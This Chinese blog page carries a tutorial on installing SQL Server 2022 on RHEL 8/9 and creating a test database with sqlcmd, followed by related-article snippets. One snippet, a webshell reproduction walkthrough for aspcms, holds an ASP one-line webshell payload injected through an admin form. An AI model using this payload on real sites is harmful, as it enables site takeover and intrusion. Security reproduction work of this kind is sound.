当前位置: 首页 > news >正文

在 Red Hat 上安装 SQL Server 2022 并创建数据库

适用于: SQL Server - Linux

本快速入门介绍如何在 Red Hat Enterprise Linux (RHEL) 8.x 或 9.x 上安装 SQL Server 2022 (16.x)。然后可以使用 sqlcmd 进行连接,创建第一个数据库并运行查询。
注意:本教程需要用户输入和 Internet 连接。

必备条件
必须拥有 RHEL 8.x 计算机(内存至少为 2 GB)。
如果以前安装了 SQL Server 的社区技术预览版 (CTP) 或候选发布 (RC) 版本,则必须先删除旧存储库,然后再执行这些步骤。

安装 SQL Server

Red Hat 8环境下安装
以下用于安装 SQL Server 的命令指向 RHEL 8 存储库。
若要在 RHEL 上配置 SQL Server,请在终端中运行以下命令以安装 mssql-server 包:
1、下载 SQL Server 2022 (16.x) Red Hat 8 存储库配置文件:

sudo curl -o /etc/yum.repos.d/mssql-server.repo https://packages.microsoft.com/config/rhel/8/mssql-server-2022.repo

如果要安装不同版本的 SQL Server,配置文件不同。
2、运行以下命令以安装 SQL Server:

sudo yum install -y mssql-server

3、包安装完成后,使用其完整路径运行 mssql-conf setup,按照提示设置 SA 密码并选择版本。作为提醒,以下 SQL Server 版本是免费提供许可的:Evaluation、Developer 和 Express 版。

sudo /opt/mssql/bin/mssql-conf setup

请记住为 SA 帐户指定强密码。需要最小长度为 8 个字符,包括大写和小写字母、十进制数字和/或非字母数字符号。
4、完成配置后,验证服务是否正在运行:

systemctl status mssql-server
5、若要允许远程连接,请在 RHEL 防火墙上打开 SQL Server 端口。默认的 SQL Server 端口为 TCP 1433。如果为防火墙使用的是 FirewallD,则可以使用以下命令:

sudo firewall-cmd --zone=public --add-port=1433/tcp --permanentsudo firewall-cmd --reload

此时,SQL Server 正在 RHEL 计算机上运行,随时可以使用!
Red Hat 9环境下安装
从 RHEL 9 开始,你可以将 SQL Server 作为启用 SELinux 的受限应用程序运行。
要将 SQL Server 作为受限应用程序运行,请执行以下步骤:
• 确保 SELinux 处于启用状态和强制模式下。
• 使用本部分后面提到的步骤安装 mssql-server 包。
• 安装新的 mssql-server-selinux 包。

sudo yum install -y mssql-server-selinux

要在 RHEL 9 上配置 SQL Server,请在终端中运行以下命令以安装 mssql-server 包:
1、下载 SQL Server 2022 (16.x) Red Hat 9 存储库配置文件:

sudo curl -o /etc/yum.repos.d/mssql-server.repo https://packages.microsoft.com/config/rhel/9/mssql-server-2022.repo

2、运行以下命令以安装 SQL Server:

sudo yum install -y mssql-server

(可选)如果要将 SQL Server 作为受限应用程序运行,则请安装启用了自定义策略的 mssql-server-selinux 包。

sudo yum install -y mssql-server-selinux

3、包安装完成后,使用其完整路径运行 mssql-conf setup,按照提示设置 SA 密码并选择版本。作为提醒,以下 SQL Server 版本是免费提供许可的:Evaluation、Developer 和 Express 版。

sudo /opt/mssql/bin/mssql-conf setup

请记住为 SA 帐户指定强密码。需要最小长度为 8 个字符,包括大写和小写字母、十进制数字和/或非字母数字符号。
4、完成配置后,验证服务是否正在运行:

systemctl status mssql-server

5、若要允许远程连接,请在 RHEL 防火墙上打开 SQL Server 端口。默认的 SQL Server 端口为 TCP 1433。如果为防火墙使用的是 FirewallD,则可以使用以下命令:

sudo firewall-cmd --zone=public --add-port=1433/tcp --permanentsudo firewall-cmd --reload

此时,SQL Server 正在 RHEL 计算机上运行,随时可以使用!

将 sa 帐户禁用

1、创建新的登录帐户,并将其设为 sysadmin 服务器角色的成员。
• 根据你使用的是容器还是非容器部署,启用 Windows 身份验证,并创建一个新的基于 Windows 的登录帐户,并将其添加到 sysadmin 服务器角色中。
• 否则,请使用 SQL Server 身份验证创建登录帐户,并将其添加到 sysadmin 服务器角色。
2、使用创建的新登录帐户连接 SQL Server 实例。
3、按照安全最佳做法的建议,禁用 sa 帐户。

安装 SQL Server 命令行工具

若要创建数据库,则需要使用可在 SQL Server 上运行 Transact-SQL 语句的工具进行连接。按照以下步骤安装 SQL Server 命令行工具:sqlcmd 实用工具 和 bcp 实用工具。
通过以下步骤在 Red Hat Enterprise Linux 上安装 mssql-tools18。
1、下载 Microsoft Red Hat 存储库配置文件。
对于 Red Hat 9,请使用以下命令:

curl https://packages.microsoft.com/config/rhel/9/prod.repo | sudo tee /etc/yum.repos.d/mssql-release.repo

对于 Red Hat 8,请使用以下命令:

curl https://packages.microsoft.com/config/rhel/8/prod.repo | sudo tee /etc/yum.repos.d/mssql-release.repo

对于 Red Hat 7,请使用以下命令:

curl https://packages.microsoft.com/config/rhel/7/prod.repo | sudo tee /etc/yum.repos.d/mssql-release.repo

2、如果安装了早期版本的 mssql-tools,请删除所有旧的 unixODBC 包。

sudo yum remove mssql-tools unixODBC-utf16 unixODBC-utf16-devel

3、运行以下命令,以使用 unixODBC 开发人员包安装 mssql-tools18。

sudo yum install -y mssql-tools18 unixODBC-devel

若要将 mssql-tools 更新至最新版本,请运行以下命令:

sudo yum check-updatesudo yum update mssql-tools18

4、可选:向 bash shell 中的 PATH 环境变量添加 /opt/mssql-tools18/bin/。
若要使 sqlcmd 和 bcp 能从登录会话的 bash shell 进行访问,请使用下列命令修改 ~/.bash_profile 文件中的 PATH:

echo 'export PATH="$PATH:/opt/mssql-tools18/bin"' >> ~/.bash_profilesource ~/.bash_profile

若要使 sqlcmd 和 bcp 能从交互式/非登录会话的 bash shell 进行访问,请使用下列命令修改 ~/.bashrc 文件中的 PATH:

echo 'export PATH="$PATH:/opt/mssql-tools18/bin"' >> ~/.bashrcsource ~/.bashrc

本地连接
以下步骤使用 sqlcmd 本地连接到新的 SQL Server 实例。
1、使用 SQL Server 名称 (-S)、用户名 (-U) 和密码 (-P) 的相应参数运行 sqlcmd。在本教程中,用户进行本地连接,因此服务器名称为 localhost。
用户名为 sa,密码是在安装过程中为 SA 帐户提供的密码。

sqlcmd -S localhost -U sa -P '<YourPassword>'

可以在命令行上省略密码,以收到密码输入提示。
如果以后决定进行远程连接,请为 -S 参数指定计算机名称或 IP 地址,并确保防火墙上的端口 1433 已打开。
2、如果成功,应会显示 sqlcmd 命令提示符:1>。
3、如果连接失败,先尝试诊断错误消息中所述的问题。

创建和查询数据

下面各部分将逐步介绍如何使用 sqlcmd 新建数据库、添加数据并运行简单查询。

新建数据库

以下步骤创建一个名为 TestDB 的新数据库。
1、在 sqlcmd 命令提示符中,粘贴以下 Transact-SQL 命令以创建测试数据库:

CREATE DATABASE TestDB;

2、在下一行中,编写一个查询以返回服务器上所有数据库的名称:

SELECT Name from sys.databases;

3、前两个命令没有立即执行。必须在新行中键入 GO 才能执行以前的命令:

GO

插入数据

接下来创建一个新表 dbo.Inventory,然后插入两个新行。
1、在 sqlcmd 命令提示符中,将上下文切换到新的 TestDB 数据库:

USE TestDB;

2、创建名为 dbo.Inventory 的新表:

CREATE TABLE dbo.Inventory (id INT,name NVARCHAR(50),quantity INT,PRIMARY KEY (id)
);

3、将数据插入新表:

INSERT INTO dbo.Inventory VALUES (1, 'banana', 150);
INSERT INTO dbo.Inventory VALUES (2, 'orange', 154);

4、要执行上述命令的类型 GO:

GO

退出 sqlcmd 命令提示符

要结束 sqlcmd 会话,请键入 QUIT:

QUIT

跨平台数据工具
除“sqlcmd”以外,还可以使用以下跨平台工具来管理 SQL Server :

从 Windows 进行连接

Windows 上的 SQL Server 工具连接到 Linux 上的 SQL Server 实例,操作方式与连接到任何远程 SQL Server 实例一样。
如果有一台可以连接到 Linux 计算机的 Windows 计算机,请从运行 sqlcmd 的 Windows 命令提示符尝试执行本主题中的相同步骤。必须使用目标 Linux 计算机名称或 IP 地址,而不是 localhost,并确保 TCP 端口 1433 已在 SQL Server 计算机上打开。

相关文章:

在 Red Hat 上安装 SQL Server 2022 并创建数据库

适用于&#xff1a; SQL Server - Linux 本快速入门介绍如何在 Red Hat Enterprise Linux (RHEL) 8.x 或 9.x 上安装 SQL Server 2022 (16.x)。然后可以使用 sqlcmd 进行连接&#xff0c;创建第一个数据库并运行查询。 注意&#xff1a;本教程需要用户输入和 Internet 连接。 …...

游戏如何应对云手机刷量问题

云手机的实现原理是依托公有云和 ARM 虚拟化技术&#xff0c;为用户在云端提供一个安卓实例&#xff0c;用户可以将手机上的应用上传至云端&#xff0c;再通过视频流的方式&#xff0c;远程实时控制云手机。 市面上常见的几款云手机 原本需要手机提供的计算、存储等能力都改由…...

QTableView使用QSortFilterProxyModel后行号错乱

在Qt中&#xff0c;当你使用QSortFilterProxyModel对QTableView进行排序或过滤后&#xff0c;点击事件可能会返回一个不正确的行号&#xff0c;因为代理模型可能会改变数据的显示顺序。为了获取点击数据的真实行号和内容&#xff0c;你可以使用mapToSource()函数&#xff0c;它…...

【Python】 报错Can‘t find model ‘en_core_web_md‘

出现这种错误表明Python环境中找不到名为en_core_web_md的模型。这通常发生在使用spaCy库进行自然语言处理时&#xff0c;因为spaCy依赖于预先训练好的模型来进行词性标注、依赖分析、命名实体识别等任务。如果没有安装该模型&#xff0c;尝试加载它时会导致错误。 解决办法&a…...

每天五分钟深度学习框架pytorch:pytorch中已经定义好的损失函数

本文重点 前面我们学习了pytorch中两种模式的损失函数,一种是nn,另外一种是functional,本文将讲解pytorch中已经封装好的损失函数。其实nn的方式就是类,而functional的方式就是方法。nn中使用的也是functional。 损失函数中的参数 无论是nn还是functional,大多数的损失函…...

dedecms(四种webshell姿势)、aspcms webshell漏洞复现

一、aspcms webshell 1、登陆后台&#xff0c;在扩展功能的幻灯片设置模块&#xff0c;点击保存进行抓包查看 2、在slideTextStatus写入asp一句话木马 1%25><%25Eval(Request(chr(65)))%25><%25 密码是a&#xff0c;放行&#xff0c;修改成功 3、使用菜刀工具连…...

【STM32系统】基于STM32设计的智能垃圾桶(语音、颜色识别、称重、光强、烟雾、人体识别、步进电机、水泵)——文末资料下载

基于STM32设计的智能垃圾桶 演示视频: 基于STM32设计的智能垃圾桶 功能简介: 四个按键可分别打开四个垃圾桶(可回收垃圾、厨余垃圾、有害垃圾、其他垃圾) oled显示屏显示四个垃圾桶的打开/关闭状态、烟雾浓度、光照强度、称重的重量和识别到的颜色(白色、红色、绿色、蓝…...

GPT代码记录

#include <iostream>// 基类模板 template<typename T> class Base { public:void func() {std::cout << "Base function" << std::endl;} };// 特化的子类 template<typename T> class Derived : public Base<T> { public:void…...

powerbi

一. CALCULATE 和 FILTER FILTER 返回的数据必须是表&#xff0c; 所以 可以 用在 新建表中&#xff0c; 不能直接用在度量值中其实 filter 相当于 用 外表字段 去进行筛选 不使用 filter&#xff0c; 只能使用本表字段 进行筛选&#xff0c;如下1&#xff0c; 只能使用 门店信…...

【Unity】检测鼠标点击位置是否有2D对象

在这里提供两种方案&#xff0c;一种是射线检测&#xff0c;另一种是非射线检测。 初始准备步骤&#xff1a; 创建2D对象&#xff08;比如2D精灵&#xff09;给要被检测的2D对象添加2D碰撞体&#xff08;必须是2D碰撞体&#xff09;创建一个空对象&#xff0c;再创建一个检测…...

Python学习——【2.1】if语句相关语法

文章目录 【2.1】if语句相关一、布尔类型和比较运算符&#xff08;一&#xff09;布尔类型&#xff08;二&#xff09;比较运算符 二、if语句的基本格式※、练习 三、if-else组合判断语句※、练习 四、if-elif-else多条件判断语句※、练习 五、判断语句的嵌套※、实战案例 【2.…...

机器学习--K-Means

K均值聚类 算法过程 K − m e a n s K-means K−means 是 聚类 c l u s t e r i n g clustering clustering 算法的一种&#xff0c;就是给你一坨东西&#xff0c;让你给他们分类&#xff1a; 我们的 K − m e a n s K-means K−means 大概是这样一个流程&#xff1a; 第一…...

模型训练时CPU和GPU大幅度波动——可能是数据的读入拖后腿

模型训练时CPU和GPU大幅度波动——可能是数据的加载拖后腿 问题 在进行猫狗大战分类任务时&#xff0c;发现模型训练时CPU和GPU大幅度波动&#xff0c;且模型训练速度很慢。 原因 ​ 初步分析可能是数据加载&#xff08;包括数据的transform&#xff0c;我用了Resize&#…...

keep-alive的应用场景

...

【C++ Primer Plus习题】16.9

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <ctime> #include <v…...

Java入门:09.Java中三大特性(封装、继承、多态)02

2 继承 需要两个类才能实现继承的效果。 比如&#xff1a;类A 继承 类B A类 称为 子类 &#xff0c; 衍生类&#xff0c;派生类 B类 称为 父类&#xff0c;基类&#xff0c;超类 继承的作用 子类自动的拥有父类的所有属性和方法 &#xff08;父类编写&#xff0c;子类不需要…...

AI为云游戏带来的革新及解决方案:深度技术剖析与未来展望

近期&#xff0c;科技巨头埃隆马斯克与热门国产游戏《黑神话&#xff1a;悟空》的互动&#xff0c;再次引发了公众对AI技术在游戏产业中应用的关注。马斯克&#xff0c;作为特斯拉和SpaceX的掌门人&#xff0c;不仅在科技领域引领风骚&#xff0c;其个人兴趣也广泛涉猎&#xf…...

集合是什么

1.是什么 集合&#xff08;Collection&#xff09;是Java语言中一个非常重要的概念&#xff0c;它是一组对象的容器&#xff0c;用于存储、检索和操作对象。在Java中&#xff0c;集合框架定义了一系列接口和实现类&#xff0c;用于处理不同类型的集合。 集合的概念 集合框架提…...

JavaDS —— 图

图的概念 图是由顶点集合以及顶点之间的关系组成的一种数据结构&#xff1a;G &#xff08;V&#xff0c;E&#xff09; 其中 V 表示的是顶点集合 &#xff1a; V { x | x 属于某个数据对象集} 是有穷非空集合 E 叫做边的集合 &#xff1a; E {(x, y) | x, y 属于 V} 或者 …...

魅思-视频管理系统 getOrderStatus SQL注入漏洞复现

0x01 产品简介 魅思-视频管理系统是一款集成了视频管理、用户管理、手机端应用封装等功能的综合性视频管理系统。该系统不仅以其强大的视频管理功能、灵活的用户管理机制、便捷的手机端应用封装功能以及高安全性和现代化的界面设计,成为了市场上备受关注的视频管理系统之一。…...

SOME/IP通信协议在汽车业务具体示例

标签&#xff1a;SOME/IP&#xff1b; SomeIP通信协议在汽车业务具体示例&#xff1b; SomeIP通信协议在汽车业务具体示例 SOME/IP&#xff08;Scalable service-Oriented MiddlewarE over IP&#xff09;协议被广泛应用于现代汽车的多个关键业务领域。SOME/IP协议特别适合需要…...

jupyter notebook添加环境/添加内核

参考&#xff1a; jupyter notebook添加环境/添加内核&#xff08;超详细&#xff09;_python_leoound-GitCode 开源社区 Jupyter Notebook 切换虚拟环境_jupyter 选择环境-CSDN博客 1.激活想添加的环境 conda activate pytorch39 2.下载核 conda install ipykernel 3.按照…...

建模杂谈系列256 规则函数化改造

说明 之前尝试用FastAPI来构造规则&#xff0c;碰到的问题是由于请求量过大(TPS > 1000), 从而导致微服务端口资源耗尽。所以现在的point是: 1 如何使用函数来替代微服务(同时要保留使用微服务的优点)2 进一步抽象并规范规则的执行3 等效合并规则的方法 内容 0 机制讨论…...

python实现冒泡排序的算法

冒泡排序是对数组里面两个相邻的数据进行比较并排序&#xff0c;最大的数会不断向后移动&#xff0c;因此叫冒泡排序。 冒泡排序的步骤&#xff1a; 1.首先对数组第一个数和第二个数进行比较&#xff0c;谁最小&#xff0c;谁排在前面 2.将第二个数与第三个数进行比较排序&a…...

爱玩游戏的弟弟,被人投资了100万

很多人说游戏是个害人的东西&#xff0c;尤其现在的青少年&#xff0c;被毒害得不浅&#xff0c;那还是因为大多数人对游戏本身了解得不够全面&#xff0c;只知道游戏是拿来玩&#xff0c;拿来消遣的&#xff0c;殊不知游戏里面还有大把捞金的机会。 我有个学员&#xff0c;我…...

Pandas_数据结构详解

1.创建DataFrame对象 概述 DataFrame是一个表格型的结构化数据结构&#xff0c;它含有一组或多组有序的列&#xff08;Series&#xff09;&#xff0c;每列可以是不同的值类型&#xff08;数值、字符串、布尔值等&#xff09;。 DataFrame是Pandas中的最基本的数据结构对象&am…...

Leetcode 3287. Find the Maximum Sequence Value of Array

Leetcode 3287. Find the Maximum Sequence Value of Array 1. 解题思路2. 代码实现 题目链接&#xff1a;3287. Find the Maximum Sequence Value of Array 1. 解题思路 这一题我的思路比较暴力&#xff0c;就是求出每一个位置前后所有可能的长度为k的子序列的所有的或结果…...

python 山峦图

效果&#xff1a; 代码&#xff1a; import matplotlib.pyplot as plt import numpy as npdef mountain_plot(data_dict, colorsNone):if colors is None:colors get_colors_from_map(len(data_dict), "Spectral")x list(data_dict.keys())# Y轴位置y_positions …...

Open3D:3D数据处理与可视化的强大工具

创作不易&#xff0c;您的打赏、关注、点赞、收藏和转发是我坚持下去的动力&#xff01; Open3D算法框架简介 Open3D是一个开源的3D数据处理库&#xff0c;旨在为3D数据提供高效、易用的计算和可视化工具。它支持多种3D数据格式&#xff0c;例如点云、网格、RGB-D图像等&…...

YOLOv8改进系列,YOLOv8的Neck替换成AFPN(CVPR 2023)

摘要 多尺度特征在物体检测任务中对编码具有尺度变化的物体非常重要。多尺度特征提取的常见策略是采用经典的自上而下和自下而上的特征金字塔网络。然而,这些方法存在特征信息丢失或退化的问题,影响了非相邻层次的融合效果。一种渐进式特征金字塔网络(AFPN),以支持非相邻…...